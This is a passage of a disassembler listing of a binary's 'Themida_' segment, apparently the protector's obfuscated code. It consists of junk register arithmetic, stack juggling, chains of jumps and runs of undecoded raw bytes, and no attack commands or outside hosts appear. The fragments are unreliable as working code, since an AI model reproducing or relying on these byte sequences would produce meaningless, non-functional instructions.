		jmp	loc_56773F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9C240CD3h, 0FEC692E9h, 47ED81FFh, 8B06B06Ch,	0C4832414h
		dd 2BB5304h, 1000000h, 0E0E95BDDh
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56664B:				; CODE XREF: Themida_:00552ECEj
		add	edx, 7141666Dh
		push	ebx
		mov	ebx, 4BAB3AD4h
		inc	ebx
		add	ebx, 0F92F950Ch
		add	edx, 540E6F43h
		jmp	loc_55D106
; ---------------------------------------------------------------------------
		db 51h,	0B5h, 26h
		dd 0DDF6CDFEh, 0FEFFBEE9h, 4E883FFh, 0E9240487h, 0FFFF3B82h
		dd 0C8BEE00h, 4C48124h,	0E9000000h, 0FFFFD5B9h,	0CA68E689h
		dd 89000024h, 0F9E9240Ch, 8BFFFEF5h, 0D0002424h, 24148B66h
		dd 0FF0EE0E9h, 4C481FFh, 8B000000h, 0C4832404h,	1BFE904h
		dd 14890000h, 142ABA24h, 0BA522DB5h, 4121A52h, 0FEDB10E9h
		dd 659B68FFh, 0BE90000h, 5FFFFD3h, 4, 4B951h, 0C8010000h
		dd 83240C8Bh, 48704C4h,	24248B24h, 0FED434E9h, 0F75E5BFFh
		dd 0C1F387D6h, 2FE906E3h
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566707:				; CODE XREF: Themida_:005655A5j
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		jmp	loc_55E492
; ---------------------------------------------------------------------------


loc_566721:				; CODE XREF: Themida_:00554C5Ej
		mov	ecx, 53994000h
		add	dword ptr [esp+4], 9B22054h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 9B22054h
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_55A349
; ---------------------------------------------------------------------------
		dd offset dword_59EE88
		db 0F0h
		dd 8324148Bh, 0C33004C4h, 0FFC0B60Fh, 48B8734h,	0EC815124h
		dd 4, 0E9242489h, 0FFFF5D4Ah, 66403E05h, 68C80175h, 6186h
		dd 0BE243489h, 178806E3h, 5AC68146h, 0E95DDE39h, 0FFFFF007h
; ---------------------------------------------------------------------------


loc_566788:				; CODE XREF: Themida_:0056541Fj
		xchg	edx, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_557365
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF066Ah, 51243489h, 0FBBBD4B9h, 0A046E9FFh, 8151FFFFh
		dd 4ECh, 206DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5667B6:				; CODE XREF: Themida_:00557E3Cj
		shr	edx, 6
		jmp	loc_55A510
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 592434FFh, 4C481h, 0E9570000h, 0FFFFF4B7h, 6858C101h
		dd 46B1h, 54242C89h, 4C5815Dh, 0E9000000h, 0FFFF24EFh
		dd 0E924048Bh, 0FFFF1AA5h, 59E6815Ah, 0E977236Bh, 0FFFFF7DAh
		dd 8A6022BBh, 15EB8167h, 0E921351Ah, 0FFFEC660h, 0F061BF57h
		dd 0BDE9E884h, 68FFFF59h, 4DA07B1Ch, 91E7815Fh,	506F1660h
		dd 0FF43D8E9h, 24148BFFh, 50E78957h, 4B8h, 8BC70100h, 0C4832404h
		dd 4C78304h, 5C243C87h,	2804C483h, 27B168D8h, 0C890000h
		dd 2A686624h, 1C896642h, 4B05024h, 48BC388h, 4C48324h
		dd 0FF2C5FE9h, 23B850FFh, 560C348h, 255E685Ch, 0FFDC45E9h
		dd 0CBEB80FFh, 0FFE9D328h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566887:				; CODE XREF: Themida_:00565175j
		push	eax
		mov	eax, 3375F22h
		mov	ecx, eax
		pop	eax
		inc	ecx
		neg	ecx
		sub	ecx, 46AE7381h
		not	ecx
		push	ebp
		mov	ebp, 19526094h
		xor	ebp, 24277CABh
		sub	ebp, 74687555h
		xor	ebp, 12D61756h
		xor	ebp, 4F7E7847h
		jmp	loc_558965
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048B04h, 4C481h, 61E90000h, 0BBFFFF5Ah, 21866E82h
		dd 0E73BE56h, 0D6F73800h, 53E0E681h, 0E6817569h, 0DF676F0h
		dd 2315C681h, 0C6810D9Dh, 3716AE0Dh, 815EF321h,	46186CCBh
		dd 0B7E9517Bh, 52FFFF50h, 0C281E289h, 4, 0E904C283h, 0FFFF9BBEh
		dd 2BE9C789h, 0BFFFFF8Fh, 4, 0BF40DF2Dh, 0EF00E968h, 0B252FFFEh
		dd 15F28096h, 8098B151h, 0D1F680C1h, 8009E180h,	67E961E1h
		dd 81FFFF4Dh, 0B220ACC2h, 68C22962h, 4BC2h, 0BD242C89h
		dd 7D127957h, 0FFAF51E9h, 4C681FFh, 56000000h, 42474FFh
		dd 0FED0C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56696D:				; CODE XREF: Themida_:00564546j
		mov	al, bh
		pop	ebx
		jmp	loc_563606
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0FF098DE9h, 242C8BFFh, 8F04C483h, 285C2404h,	0E99C2404h
		dd 0FFFEC333h, 7968E689h, 89000004h, 0B0BB241Ch, 561E5C53h
		dd 5E21BA52h, 0BF5751A1h, 755C1F2h, 815FFE89h, 0D973D0C6h
		dd 0E9D6010Fh, 0FFFF8952h
; ---------------------------------------------------------------------------


loc_5669BC:				; CODE XREF: Themida_:00558A5Cj
		pop	edx
		add	esi, 665A1E40h
		jmp	loc_560EE1
; ---------------------------------------------------------------------------
		dd 8904EC83h, 2EB9240Ch, 810B5504h, 4F44B2C2h, 81CA016Bh
		dd 4F44B2EAh, 0E956596Bh, 0FFFF25E4h, 0E924048Fh, 0FFFF8A74h
; ---------------------------------------------------------------------------


loc_5669F0:				; CODE XREF: Themida_:005653C6j
		push	edx
		mov	edx, 654015Eh
		jmp	loc_565C62
; ---------------------------------------------------------------------------


loc_5669FB:				; CODE XREF: Themida_:00556FDFj
		sub	esi, 1DE6017Bh
		jmp	loc_559953
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 0D3C181D9h, 814F8601h, 0B56020E9h, 129FE957h, 0CE81FFFFh
		dd 0B073CAh, 0E904E6C1h, 0FFFF0397h, 9C42E95Ch,	0E189FFFFh
		dd 4BD55h, 0E9010000h, 10CE95Dh, 815C0000h, 4C3h, 65D3E900h
		dd 97B8FFFFh, 0F740A926h, 4FF50D8h, 5E59E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566A5A:				; CODE XREF: Themida_:00557719j
		pop	esp
		sub	esp, 4
		jmp	loc_56279E
; ---------------------------------------------------------------------------
		dd offset dword_53E920+48h
		align 4
		dd 0E9243C89h, 0FFFFDD84h, 0EE81CE01h, 1842034h, 23F1E959h
		dd 0CE29FFFFh, 4EC8359h, 0E9240C89h, 0FFFF4909h, 0C381FB01h
		dd 529754B4h, 0B9515Fh,	0C16D3C52h, 0E95503E9h,	0FFFF3A5Fh
		dd 31BFB850h, 252D0AA4h, 0F70E157Bh, 0D9EBE9D8h, 5368FFFEh
		dd 89000012h, 0EC83241Ch, 240C8904h, 0F63731B9h, 0CF895769h
		dd 4EC81h, 3BE90000h, 0C1FFFFE4h, 0F28108E2h, 0E115FC51h
		dd 815AD689h, 0C07A2AC6h, 81A9E932h, 0F868FFFFh, 89000056h
		dd 4BA2414h, 1000000h, 4875AD0h, 6CE95C24h
		db 0CFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566B07:				; CODE XREF: Themida_:0055B803j
		sub	[edi+24h], edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55D5B5
; ---------------------------------------------------------------------------


loc_566B13:				; CODE XREF: Themida_:0055A8DCj
		xchg	eax, esi
		jmp	loc_55E251
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 0DCD68h, 24148900h, 0C2815A54h, 4, 3304EA83h
		dd 14312414h, 24143324h, 8924248Bh, 0E6892434h,	0F9B1E951h
		dd 0C181FFFEh, 2, 5C240C87h, 0FFADCEE9h, 240420FFh, 0C161E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566B62:				; CODE XREF: Themida_:005657C9j
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4AAD720Ch
		inc	edi
		push	edx
		mov	edx, 40851D43h
		add	edi, edx
		jmp	loc_55B793
; ---------------------------------------------------------------------------
		dw 8758h
		dd 0E95C2434h, 0FFFF4EAFh, 4BFh, 8BFE0100h, 0C481243Ch
		dd 4, 0FF8D14E9h
		db 0FFh
byte_566B9D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552C48o
		dd 4EC8324h, 68241C89h,	53E3h, 56242489h, 4BEh,	11BD5500h
		dd 2938391Ch, 5D08246Ch, 0FF8F2DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566BC5:				; CODE XREF: Themida_:005573BEj
		mov	eax, 3F0C1434h
		jmp	loc_55B0CA
; ---------------------------------------------------------------------------
		db 81h
		dd 0FDE7E2C2h, 5AD189FCh, 237FE953h, 0C181FFFFh, 4, 3304E983h
		dd 0C31240Ch, 240C3324h, 48F545Ch, 0D7F0E924h
		db 0FEh, 0FFh
word_566BFA	dw 34FFh		; DATA XREF: Themida_:00552B94o
		dd 0EC835924h, 24048904h, 6E68E089h, 8900001Eh,	4BF243Ch
		dd 1000000h, 0EC835FF8h, 24148904h, 5446BF57h, 0FA895D07h
		dd 68554A5Fh, 341Ch, 0E9241C89h, 0FFFFB28Ch, 0C9105605h
		dd 58C789CAh, 551AE781h, 0E2E92F66h, 0B9FFFF77h, 783963DEh
		dd 50E7EB81h, 0EB811036h, 69223749h, 0C381CB29h, 69223749h
		dd 5371BA52h, 0C2814400h, 4E023CF1h, 7CEA8142h,	8181CC3Fh
		dd 73382CC3h, 81D3016Ah, 73382CEBh, 1595A6Ah, 0D7CCE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566C8A:				; CODE XREF: Themida_:005606D0j
		sub	ebx, 6BA768A0h
		inc	ebx
		xor	ebx, 4605719Fh
		jmp	loc_55B493
; ---------------------------------------------------------------------------
		dd 1B25EF81h, 315A4661h, 2434FFF8h, 57243C8Bh, 0C781E789h
		dd 4, 4B951h, 0CF010000h, 243C8759h, 3651685Ch,	0C890000h
		dd 0E9595424h, 0FFFFECFEh
; ---------------------------------------------------------------------------


loc_566CD0:				; CODE XREF: Themida_:00561D52j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	eax
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55A108
; ---------------------------------------------------------------------------
		db 31h,	0D8h, 5Bh
		dd 242C8150h, 51883794h, 0FEE5CEE9h, 815A54FFh,	4C2h, 4C28100h
		dd 87000000h, 0F9E92414h, 5CFFFEC6h, 81242C8Bh,	4C4h, 3C2F6800h
		dd 4890000h, 8E11E924h,	0E389FFFFh, 0FF9525E9h,	1C895CFFh
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242489h
		dd 42404h, 1C8B0000h, 4C48324h,	4C381h,	0B9510000h, 2
		dd 5259CB01h, 0C2815A54h, 4, 4BE56h, 0F2290000h, 0EAA0E95Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566D82:				; CODE XREF: Themida_:00558630j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_55ACE1
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4E630BBDh, 5DEF3111h, 3C8BFD89h, 4C48124h, 81000000h
		dd 0A96D9AEDh, 0BCF9E956h, 875DFFFFh, 14E9241Ch, 81FFFFACh
		dd 235988CFh, 0B3C7815Dh, 899B6F48h, 0F1815FF9h, 419438B9h
		dd 0FEFA3DE9h, 2DD829FFh, 6BBB5BCDh, 83241C8Bh,	1E6804C4h
		dd 89000044h, 5368242Ch, 0FF78A1EAh, 815D2434h,	4C4h, 0FFE82900h
		dd 685D2434h, 2218h, 89240C89h,	835257E1h, 0BE904ECh, 89FFFF1Fh
		dd 0A68241Ch, 0FF1B8767h, 515B2434h, 0C181E189h, 4, 0FFCAA3E9h
		dd 8E7C1FFh, 5E7C147h, 22C4BB53h, 0DF311EC6h, 0FF818AE9h
		db 0FFh
byte_566E41	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00552C24o
aHt9		db '$h▓9',0
		align 2
		dw 489h
		dd 17E95424h, 55FFFECAh, 0FF0702E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566E59:				; CODE XREF: Themida_:0055DFA3j
		shr	ecx, 2
		push	86Fh
		mov	[esp], esi
		push	edx
		push	edi
		mov	edi, 0A096F3Ah
		push	ebx
		jmp	loc_558620
; ---------------------------------------------------------------------------


loc_566E71:				; CODE XREF: Themida_:005583B7j
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	esp, 4
		add	eax, 2B4437Fh
		jmp	loc_55AF79
; ---------------------------------------------------------------------------
		dd 5A8FBE56h, 23E92904h, 52FFFF24h, 0C281E289h,	4, 4EA81h
		dd 14870000h, 2C895C24h, 19476824h, 17E939AAh, 5AFFFFC0h
		dd 0FEFF5BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566EC5:				; CODE XREF: Themida_:00563DB5j
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5631E9
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFF5C14h, 57243C8Bh, 23D268h, 0F1D7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566EEA:				; CODE XREF: Themida_:0056441Aj
		add	ecx, 63A61289h
		add	ecx, esi
		sub	ecx, 63A61289h
		mov	esi, [esp]
		jmp	loc_560E90
; ---------------------------------------------------------------------------
		dd 0B568E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F06:				; CODE XREF: Themida_:0055CB96j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 58B7063Ch
		jmp	loc_5575C1
; ---------------------------------------------------------------------------
		db 2Dh,	0B8h, 4
		dd 39E93486h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F23:				; CODE XREF: Themida_:005618E2j
		pop	ebp
		jmp	loc_55B7DD
; ---------------------------------------------------------------------------
		align 2
		dw 66F8h
		dd 0E9241C8Bh, 0FFFF18BFh, 81242489h, 42404h, 34FF0000h
		dd 54525B24h, 0FFCC36E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566F49:				; CODE XREF: Themida_:005543FDj
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_556F82
; ---------------------------------------------------------------------------
		db 81h
		dd 0E56394C2h, 7BF28134h, 8963A814h, 0CD315AD1h, 0FEECADE9h
		dd 0A5E954FFh, 83FFFF3Ah, 48F04C4h, 24248B24h, 3B04C483h
		dd 92E99CC8h
		db 0D0h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_566F83:				; CODE XREF: Themida_:0055D7C9j
		shl	ebx, 8
		jmp	loc_5534BB
; ---------------------------------------------------------------------------


loc_566F8B:				; CODE XREF: Themida_:0055F0D8j
		sub	[esp+4], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 31D74A6Eh
		sub	dword ptr [esp+8], 3A166DFEh
		jmp	loc_553943
; ---------------------------------------------------------------------------


loc_566FAA:				; CODE XREF: Themida_:00562C25j
		or	ebx, 7F7A72C4h
		inc	ebx
		push	edi
		jmp	loc_566156
; ---------------------------------------------------------------------------
		db 88h
		dd 148B5BD8h, 4C48324h,	2C305066h, 242C3224h, 51242C30h
		dd 12454F6h, 499AE959h,	0C283FFFFh, 24143304h, 33241431h
		dd 875C2414h, 248B241Ch, 68F9F724h, 4936h, 0FF517DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566FF5:				; CODE XREF: Themida_:005628B5j
		mov	[esp], ebx
		mov	ebx, esp
		push	40h
		mov	[esp], eax
		jmp	loc_55A80C
; ---------------------------------------------------------------------------
byte_567007	db 66h			; DATA XREF: Themida_:00552A80o
		dd 8324048Bh, 0C9E904ECh, 52FFFF34h, 34FD68h, 24248900h
		dd 4B850h, 44010000h, 3EE90424h, 5DFFFF7Dh, 8102E5C1h
		dd 0BC3C38CDh, 92C58112h, 0E9022988h, 0FFFF526Eh, 51241C89h
		dd 5B21BB53h, 0C3817255h, 8DAAA4DFh, 0FF2889E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567055:				; CODE XREF: Themida_:0055757Bj
		push	ebx
		jmp	loc_55574D
; ---------------------------------------------------------------------------
		db 81h
		dd 587555C5h, 81E5D161h, 0EE579C5h, 1EE9558Ah, 81FFFEFBh
		dd 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 54575C24h, 4C7815Fh
		dd 0E9000000h, 0FFFF166Eh, 4EC81h, 14890000h, 2804B224h
		dd 9345E9D0h, 0BE56FFFFh, 1149654Fh, 0C9E9F789h, 68FFFEF4h
		dd 1237h, 0BD242C89h, 4, 15DE989h, 0E239E9CAh, 405FFFFh
		dd 5000000h, 4,	0E9240487h, 0FFFFAAAEh,	0E9240C87h, 0FFFEE9ECh
; ---------------------------------------------------------------------------


loc_5670E0:				; CODE XREF: Themida_:00567473j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5656A0
; ---------------------------------------------------------------------------
		dw 0A4BDh
		dd 0E9266638h, 0FFFFC3C8h
; ---------------------------------------------------------------------------


loc_5670F4:				; CODE XREF: Themida_:00556A85j
		mov	ecx, 887FDB79h
		add	ecx, edi
		pop	edi
		add	eax, 5AE11B10h
		add	eax, 63847A9Dh
		add	eax, ecx
		sub	eax, 63847A9Dh
		sub	eax, 5AE11B10h
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56783E
; ---------------------------------------------------------------------------
		dw 1BDh
		dd 0B940CC47h, 803887F1h, 2C8BE929h, 0D5F6E924h, 48BFFFEh
		dd 4C48124h, 0E9000000h, 0FFFFEA49h
dword_567150	dd 9D1C77FFh, 1CD35966h, 7BE99C24h, 0C1FFFEE3h,	505308E5h
					; DATA XREF: Themida_:005529E4o
		dd 0FEF830E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_567169:				; CODE XREF: Themida_:0055621Aj
		and	edx, 38921541h
		push	ebp
		mov	ebp, 9D2C46BEh
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, edx
		pop	edx
		push	ebp
		jmp	loc_5554DF
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 0FCC5E924h, 0E068FFFFh, 5D7EDF6Ch, 85F9E945h, 0E829FFFFh
		dd 0FF6774E9h, 4EF83FFh, 5C243C87h, 24048F54h, 0FF264BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5671B1:				; CODE XREF: Themida_:0055F6E1j
		push	edi
		mov	edi, 723418E9h
		jmp	loc_556B31
; ---------------------------------------------------------------------------
		dd 0FF5EF701h, 835B2434h, 88E904C4h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671CB:				; CODE XREF: Themida_:005552DDj
		xor	ebp, [esp]
		pop	esp
		jmp	loc_55DE91
; ---------------------------------------------------------------------------


loc_5671D4:				; CODE XREF: Themida_:0055CD11j
		push	eax
		jmp	loc_56530D
; ---------------------------------------------------------------------------
		dw 565Dh
		dd 4BEh, 5EF50100h, 3304C583h, 2C31242Ch, 0C69AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671F2:				; CODE XREF: Themida_:00555CC9j
		pop	esp
		or	eax, eax
		jz	loc_564F9C
		push	ebx
		mov	ebx, 1Ch
		push	eax
		mov	eax, 1CC6499Ch
		sub	eax, 0D30307A5h
		jmp	loc_561B36
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0CBh
		dd 0E942524Eh, 0FFFEF474h, 515DEE01h, 4B9h, 59CE0100h
		dd 0E9243487h, 0FFFFB6DCh
; ---------------------------------------------------------------------------


loc_567230:				; CODE XREF: Themida_:00553E7Cj
		sub	ebp, 0FFFFFFFFh
		or	ebp, 22540F06h
		neg	ebp
		xor	ebp, 2DA00E87h
		xor	esi, ebp
		pop	ebp
		and	esi, 651C097Bh
		xor	esi, 1ED3381Ch
		and	esi, 48E6E82h
		sub	esi, 0B788F53Bh
		add	ebp, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_55BFDF
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FF66F1E9h, 5A3CBAFFh, 0F231299Bh, 96CA815Eh, 0E9468C23h
		dd 0FFFF8736h, 89241C89h, 0EFFFE9E3h, 0E981FFFEh, 3A8B532Ah
		dd 0FFCC94E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5672A1:				; CODE XREF: Themida_:0056396Dj
		mov	[esp], esi
		push	730E4C55h
		pop	esi
		and	ecx, esi
		jmp	loc_56134A
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0ADh
		dd 81FFFF3Bh, 0EA47F5EBh, 0C3835F53h, 34C8E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5672C6:				; CODE XREF: Themida_:005627F0j
		sub	bl, dl
		push	dword ptr [esp]
		jmp	loc_564F67
; ---------------------------------------------------------------------------
		dd 5CF68166h, 0BA665223h, 0C16652EBh, 816606EAh, 664F2CCAh
		dd 0D7BD6655h, 0EA096656h, 81665D66h, 0E91FD4F2h, 0FFFF8178h
		dd 4C48158h, 0F7000000h, 8EAB35D8h, 0C189B1B2h,	319E9h
		db 0
; ---------------------------------------------------------------------------


loc_56730D:				; CODE XREF: Themida_:005679AEj
		neg	edi
		and	edi, 1E72260h
		jmp	loc_55E9ED
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 0B11CE924h, 15AFFFFh, 0EDC158C5h, 1B12E906h,	0EC83FFFFh
		dd 0DBC1E904h, 0E380FFFFh, 0BAC380B1h, 0FF5AE6E9h, 0B97DE9FFh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_567346:				; CODE XREF: Themida_:0055AF1Bj
		pop	ecx
		add	esp, 4
		sub	ecx, 0FA20B6Eh
		push	50F1h
		mov	[esp], ecx
		jmp	loc_55B5C4
; ---------------------------------------------------------------------------
		dd 0B1C98149h, 811A9447h, 803C78E1h, 0BD4DE94Ah, 0F281FFFEh
		dd 1C113246h, 148BD001h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 74FF505Ch, 0ACE90424h
		db 25h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567397:				; CODE XREF: Themida_:005597F7j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	56B5h
		mov	[esp], eax
		push	24h
		jmp	loc_55A3DC
; ---------------------------------------------------------------------------


loc_5673B4:				; CODE XREF: Themida_:00556EBBj
		sub	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		add	bl, al
		jmp	loc_560FE4
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFFDC5E9h, 92D029FFh, 0D949E958h, 0C483FFFFh, 4B684704h
		dd 8900000Ch, 5755241Ch, 0AE564BBFh, 0E9FD893Dh, 0FFFED841h
		dd 0E9243C8Bh, 0FFFF9663h
; ---------------------------------------------------------------------------


loc_5673F4:				; CODE XREF: Themida_:005626C6j
		add	edi, 4
		add	edi, 4
		push	3237h
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0E924048Fh, 0FFFFF203h, 7B6C68h, 24348900h, 0C681E689h
		dd 4, 566DBB53h, 0F74B2BE5h, 0FCE956D3h, 9FFFF27h, 1C8B1C5Fh
		dd 73BE6824h, 1C890000h, 505B5424h, 0FFFAA7E9h,	80CCFEFFh
		dd 88528EF4h, 5AF188E6h, 0B3536658h, 0B997E9E8h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56746E:				; CODE XREF: Themida_:0056357Ej
		push	60ABh
		jmp	loc_5670E0
; ---------------------------------------------------------------------------


loc_567478:				; CODE XREF: Themida_:0055A3ABj
		mov	ecx, 14455C5Ah
		mov	edi, ecx
		pop	ecx
		add	edi, 0EBBAA3AAh
		add	edx, 451A58BAh
		add	edx, edi
		jmp	loc_5663EA
; ---------------------------------------------------------------------------


loc_567493:				; CODE XREF: Themida_:00553E6Fj
		mov	edi, ecx
		jmp	loc_558CAB
; ---------------------------------------------------------------------------
		dw 0F741h
		dd 3EBE56D9h, 0C1311B21h, 0E6D108EEh, 6862C681h, 0F1013A43h
		dd 59CB295Eh, 1EF8F381h, 0F3816B5Ah, 231220E5h,	7FDAF381h
		dd 0D901593Fh, 0FA68575Bh, 8900005Dh, 32BA2414h, 890ABA1Fh
		dd 0EFC15AD7h, 0EFE78107h, 810D2E4Fh, 4ECh, 0F2AEE900h
		dd 8145FFFFh, 5A0C4CCDh, 8501E970h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5674FA:				; CODE XREF: Themida_:0055F53Cj
		sub	ecx, 56430E2Dh
		push	dword ptr [esp]
		jmp	loc_5564D8
; ---------------------------------------------------------------------------
		dd 0FEB7B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56750D:				; CODE XREF: Themida_:0055DA67j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_555CC6
; ---------------------------------------------------------------------------
		dw 0B966h
		dd 29667186h, 665966CBh, 72BC381h, 4D5B6866h, 24048966h
		dd 280DB866h, 0FFABD6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56753D:				; CODE XREF: Themida_:0055E25Dj
		mov	[esp], ebp
		pop	ecx
		pop	ebp
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		jmp	loc_55CA5C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0F7AFE952h, 0E953FFFFh, 0FFFED149h, 4EC5E951h, 0D501FFFFh
		dd 0E92434FFh, 0FFFFAEA0h, 0EAB366B0h, 8058C330h, 36E9F0EBh
		db 0D3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_567577:				; CODE XREF: Themida_:00564343j
		push	esp
		pop	ecx
		jmp	loc_55A958
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 7544E281h, 0F28106BDh, 2D5004h, 0E95AD589h, 0FFFFC29Ch
		dd 771AF381h, 0D8897CF0h, 0FF5963E9h, 241487FFh, 0FF24248Bh
		dd 68582434h, 49C2h, 89241489h,	4EC81E2h, 0E9000000h, 0FFFF4BEAh
		dd 8904EC83h, 0B151241Ch, 59CB881Ch, 0E908EBC0h, 0FFFF456Dh
; ---------------------------------------------------------------------------


loc_5675D4:				; CODE XREF: Themida_:0055BC67j
		shr	ecx, 5
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		add	ecx, 34F9A45h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5570D4
; ---------------------------------------------------------------------------


loc_567602:				; CODE XREF: Themida_:00558DCBj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_560037
; ---------------------------------------------------------------------------


loc_56760E:				; CODE XREF: Themida_:0055FC4Ej
		xor	edi, 82FBF7CCh
		push	edi
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_553C48
; ---------------------------------------------------------------------------
		dd 0DD19E959h, 48BFFFFh, 4C48324h, 4EC81h, 4890000h, 5FBEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56763A:				; CODE XREF: Themida_:005538A6j
		add	esp, 4
		mov	edi, eax
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_560906
; ---------------------------------------------------------------------------


loc_567653:				; CODE XREF: Themida_:0055F4F5j
		sub	eax, 29D36164h
		push	dword ptr [esp]
		jmp	loc_55BE32
; ---------------------------------------------------------------------------
		dd 0FE1BC281h, 0F3E9FB7Dh, 68FFFFFEh, 41D4h, 0B8240489h
		dd 4D876318h, 0CDBF5750h, 31624A0Ch, 5F04247Ch,	25B9515Dh
		dd 0E913FA2Dh, 0FFFFCF3Fh, 0EB81EB01h, 5781309Ch, 0C738E95Dh
		dd 2805FFFEh, 5A239D2Fh, 0C62DD801h, 0E92DE85Ah, 0FFFF6B42h
		dd 5AB7E941h, 487FFFFh,	0D6E95C24h, 0B8FFFF93h,	1253359Ah
		dd 0FFBEFFE9h, 8E1C0FFh, 80FFC180h, 0CA3018F1h,	6728E959h
		dd 595DFFFFh, 0FFC58359h, 47E3ED81h, 0EE295298h, 0DABD555Dh
		dd 53627C67h, 0FFB602E9h, 58C701FFh, 815FFE89h,	0CF04E3F6h
		dd 5EF70142h, 9691E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56770A:				; CODE XREF: Themida_:0055B0F4j
		add	esp, 4
		pop	ebx
		sub	bl, ch
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
